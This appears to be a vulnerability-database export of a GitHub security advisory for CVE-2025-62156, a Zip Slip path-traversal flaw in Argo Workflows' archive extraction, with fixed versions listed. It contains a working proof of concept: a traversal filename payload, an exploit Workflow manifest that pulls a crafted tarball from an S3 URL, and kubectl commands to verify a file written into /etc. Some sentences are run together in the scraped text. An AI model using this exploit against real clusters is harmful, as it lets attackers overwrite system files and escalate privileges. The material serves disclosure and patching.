github.com/argoproj/argo-workflows/v3
Affected
- introduced
0, fixed3.6.12(semver)
Fixed versions
3.6.12
Fix
- Fixed version
3.6.12go get github.com/argoproj/argo-workflows/[email protected]
Advisory
Also known as: BIT-argo-workflows-2025-62156, CVE-2025-62156, GO-2025-4023
Argo Workflow has a Zipslip Vulnerability
Vulnerability Description
Vulnerability Overview
unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call,/etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible.tar.gz file to a path traversal like ../../../../../etc/zipslip-poc,untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc",/etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.untar(): Writing Files Outside the Extraction Directory
https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993
/work/tmp (dest) — The intended extraction directory in the wait container ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory /mainctrfs/etc/zipslip-ok.txt file is created in the wait container /etc/zipslip-ok.txt in the main container due to volume mount mirroringPoC
PoC Description
tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability./work/tmp, which should normally extract the archive to that intended directory.untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations./mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory./work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.exploit yaml
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
generateName: zipslip-
spec:
entrypoint: main
templates:
- name: main
container:
image: ubuntu:22.04
command: ["sh"]
args: ["-c", "echo 'Starting container'; sleep 3000"]
volumeMounts:
- name: etcvol
mountPath: /etc
inputs:
artifacts:
- name: evil
path: /work/tmp
archive:
tar: {}
http:
url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz"
volumes:
- name: etcvol
emptyDir: {}
exploit
<img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />
<img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />
<img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />
<img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />
<img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />
# Find Workflow and Pod
NS=default
WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}')
POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}')
echo "NS=$NS WF=$WF POD=$POD"
# Connect Main Container
kubectl exec -it -n "$NS" "$POD" -c main -- bash
# Exploit
cd /etc/
ls -l
cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
High Basis: The source's own band: HIGH
0, fixed 3.6.12 (semver)3.6.12
3.6.12go get github.com/argoproj/argo-workflows/[email protected]3.7.0, fixed 3.7.3 (semver)3.7.3
3.7.3go get github.com/argoproj/argo-workflows/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0